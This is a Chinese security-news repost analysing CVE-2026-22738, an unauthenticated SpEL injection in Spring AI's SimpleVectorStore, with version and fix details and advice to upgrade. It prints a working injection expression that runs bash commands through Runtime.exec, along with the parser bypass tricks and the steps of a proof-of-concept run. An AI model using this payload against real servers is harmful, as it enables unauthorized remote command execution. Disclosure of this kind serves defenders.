CVE-2026-22738—SpringAISimpleVectorStore中的SpEL注入远程代码执行漏洞

admin 2026-04-04 05:20:21 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2026-22738是SpringAISimpleVectorStore组件中的SpEL注入漏洞,攻击者可通过similaritySearch()方法注入恶意表达式实现未经身份验证的远程代码执行。漏洞影响1.0.0-1.0.4及1.1.0-M1-1.1.3版本,已在新版本1.0.5/1.1.4修复。文档详细分析了单引号剥离、双引号包装等绕过技巧,并提供了包含基线检查、盲注探测、命令执行的完整PoC利用流程,建议用户立即升级至安全版本。 综合评分: 84 文章分类: 漏洞分析,WEB安全,渗透测试,安全工具,漏洞预警


cover_image

CVE-2026-22738 — Spring AI SimpleVectorStore 中的 SpEL 注入远程代码执行漏洞

Ots安全

2026年4月3日 14:06 广东

威胁简报

恶意软件

漏洞攻击

通过 Spring Expression Language (SpEL) 注入进行未经身份验证的远程代码执行SimpleVectorStore.similaritySearch()。

受影响版本

| Artifact | Vulnerable | Fixed | | — | — | — | | org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 | | org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 |

修复提交: ba9220b22383e430d5f801ce8e4fa01cf9e75f29

漏洞

SimpleVectorStore.similaritySearch()它会将调用者提供的过滤器键名原封不动地传递给 SpEL 模板,并由该模板进行评估StandardEvaluationContext。由于StandardEvaluationContext它暴露了完整的 JVM 反射 API,攻击者可以注入:

T(java.lang.Runtime).getRuntime().exec(...)

将过滤键添加到实现未经身份验证的操作系统命令执行中。

绕过详情

简单的注入方法无法直接生效——必须克服解析器的两个怪癖:

  1. 单引号剥离——以单引号开头的密钥’被视为带引号的字符串;外部引号将被剥离,从而破坏有效载荷。
  2. 双引号包装器——将有效负载包装在双引号中”…”会导致解析器剥离外部双引号,从而将内部 SpEL 表达式保留为传递给解析器的键值#metadata[‘‘]。
  3. 空元数据键——#metadata[”]在注入表达式的两侧使用(而不是未定义的变量)可以避免unknown variableSpEL 错误,同时仍然触发exec()。

计算得到的表达式形式如下:

#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) +&nbsp;#metadata[''] == 'x'

成功指标

HTTP 响应正文将包含EL1030ESpEL 运行时错误:

operator ADD&nbsp;not&nbsp;supported between&nbsp;nulland&nbsp;java.lang.ProcessImpl

此错误在返回后 引发exec(),确认操作系统级命令执行完毕,无需带外回调。

用法

先决条件:

pip&nbsp;install&nbsp;requests

运行漏洞利用程序:

python3&nbsp;exploit.py&nbsp;[--target http://localhost:8082] [--wait]

| 标志 | 默认值 | 描述 | |—|—|—| | --target | http://localhost:8082 | 易受攻击应用程序的基本 URL | | --wait | 关闭 | 轮询直到目标准备就绪(在 docker compose up 之后有用) |

Docker Desktop(macOS/Windows):host.docker.internal用于回调127.0.0.1有效负载。

利用步骤

该概念验证流程包含五个连续步骤:

1 基线检查——确认端点可达并返回种子数据

2 盲式SpEL探针——java.version通过读取T(java.lang.System)确认注射点

3 RCE:touch /tmp/pwned_cve_2026_22738在容器内部

4 RCE:写入id//uname输出hostname到/tmp/rce_proof.txt

5 通过docker exec打印校样文件内容进行验证

项目地址:

  • https://github.com/n0n4m3x41/CVE-2026-22738-POC

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ots安全 《CVE-2026-22738 — Spring AI SimpleVectorStore 中的 SpEL 注入远程代码执行漏洞》

评论:0   参与:  0